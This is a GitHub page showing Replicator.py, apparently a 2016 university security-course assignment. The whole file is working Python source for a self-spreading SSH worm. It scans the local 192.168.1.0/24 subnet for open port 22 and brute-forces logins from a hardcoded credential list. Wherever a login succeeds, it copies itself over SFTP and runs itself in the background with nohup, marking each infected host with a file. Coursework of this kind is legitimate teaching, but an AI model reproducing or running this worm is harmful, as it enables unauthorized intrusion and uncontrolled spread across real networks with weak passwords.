-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathReplicator.py
263 lines (191 loc) · 6.49 KB
/
Replicator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
#####################################################
# Cameron Walters
# CPSC 456
# Replicator
# 10/21/2016
#####################################################
import paramiko
import sys
import nmap
import os
import urllib
import socket
import fcntl
import struct
import netifaces
from subprocess import call
# The list of credentials to attempt
credList = [
('ubuntu', '123456'),
('hello', 'world'),
('hello1', 'world'),
('root', '#Gig#'),
('cpsc', 'cpsc')
]
# The marker
INFECTION_MARKER_FILE = "infectedRR.txt"
######################################################
# Mark the system as infected
#####################################################
def markInfected():
# Open the file
markerFile = open(INFECTION_MARKER_FILE, "w")
# Write something to the file
markerFile.write("Dude where the Worms AT?")
markerFile.close()
##################################################
# Returns whether the worm should spread
# @return - True if the infection succeeded and false otherwise
##################################################
def isInfected():
if ( os.path.exists( INFECTION_MARKER_FILE ) ): return True
else: return False
#######################################################
# Returns the list of systems on the same network
# @return - a list of IP addresses on the same network
#######################################################
def getHostsOnTheSameNetwork():
# Create an instance of the port scanner class
portScanner = nmap.PortScanner()
# Scan the network for systems whose
# port 22 is open (that is, there is possibly
# SSH running there).
portScanner.scan('192.168.1.0/24', arguments='-p 22 --open')
# Scan the network for hoss
hostInfo = portScanner.all_hosts()
# The list of hosts that are up.
liveHosts = []
# Go trough all the hosts returned by nmap
# and remove all who are not up and running
for host in hostInfo:
# Is ths host up?
if portScanner[host].state() == "up":
liveHosts.append(host)
return liveHosts
###############################################
# Spread to the other system and execute
# @param sshClient - the instance of the SSH client connected
# to the victim system
##############################################
def spreadAndExecute(sshClient):
# Create an instance of the SFTP class; used
# for uploading/downloading files and executing
# commands.
sftpClient = sshClient.open_sftp()
# Copy your self to the remote system (i.e. the other VM).
# We are assuming the
# password has already been cracked. The worm is placed in the /tmp
# directory on the remote system.
sftpClient.put(__file__, "Replicator.py")
# Make the worm file exeutable on the remote system
sshClient.exec_command("chmod a+x Replicator.py")
# Execute the worm!
# nohup - keep the worm running after we disconnect.
# python - the python interpreter
# /tmp/worm.py - the worm script
# & - run the whole commnad in the background
sshClient.exec_command("nohup python Replicator.py &")
return
############################################################
# Try to connect to the given host given the existing
# credentials
# @param host - the host system domain or IP
# @param userName - the user name
# @param password - the password
# @param sshClient - the SSH client
# return - 0 = success, 1 = probably wrong credentials, and
# 3 = probably the server is down or is not running SSH
###########################################################
def tryCredentials(host, userName, password, sshClient):
# Try to connect to the remote host
try:
print "Attacking host: " + host + "..." + userName,
sshClient.connect(host, username=userName, password=password)
print "Success!"
return 0
# The SSH is down
except socket.error:
print "The system seems to be no longer up!"
return 3
except paramiko.ssh_exception.AuthenticationException:
print "Wrong credentials!"
return 1
######################################################
# Wages a dictionary attack against the host
# @param host - the host to attack
# @return - the instace of the SSH paramiko class and the
# credentials that work in a tuple (ssh, username, password).
# If the attack failed, returns a NULL
######################################################
def attackSystem(host):
# The credential list
global credList
# Create an instance of the SSH client
ssh = paramiko.SSHClient()
# Set some parameters to make things easier.
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# The results of an attempt
attemptResults = None
for (username, password) in credList:
temp = tryCredentials(host, username, password, ssh)
if (temp == 0) : return (ssh, username, password)
elif (temp == 1) : pass
elif (temp == 3) : break
else : pass
#Couldn't find Good Creds
return None
#############################################
# Retrieves the ip of the network card with
# an IPv4 address that is not 127.0.0.1.
# @return - the string containing the IP
# address of the network adapter that is not
# if the IP is not 127.0.0.1; returns None
# if no such interface is detected
##############################################
def getMyIP():
# Get all the network interfaces on the system
networkInterfaces = netifaces.interfaces()
# The IP address
ipAddr = None
# Go through all the interfaces
for netFace in networkInterfaces:
# The IP address of the interface
addr = netifaces.ifaddresses(netFace)[2][0]['addr']
# Get the IP address
if not addr == "127.0.0.1":
# Save the IP addrss and break
ipAddr = addr
break
return ipAddr
print getMyIP()
#############################################
if len(sys.argv) < 2:
# TODO: If we are running on the victim, check if
# the victim was already infected. If so, terminate.
# Otherwise, proceed with malice.
if isInfected():
print "System has been PwD"
pass
else:
# TODO: Get the IP of the current system
myIP = getMyIP()
# Get the hosts on the same network
networkHosts = getHostsOnTheSameNetwork()
for index in range(len(networkHosts)-1):
if (networkHosts[index] == myIP):
del networkHosts[index]
# TODO: Remove the IP of the current system
# from the list of discovered systems (we
# do not want to target ourselves!).
print "Found hosts: ", networkHosts
# Go through the network hosts
for host in networkHosts:
# Try to attack this host
sshInfo = attackSystem(host)
print sshInfo
# Did the attack succeed?
if sshInfo:
print "Trying to spread"
spreadAndExecute(sshInfo[0])
print "Spreading complete"
sys.exit(0)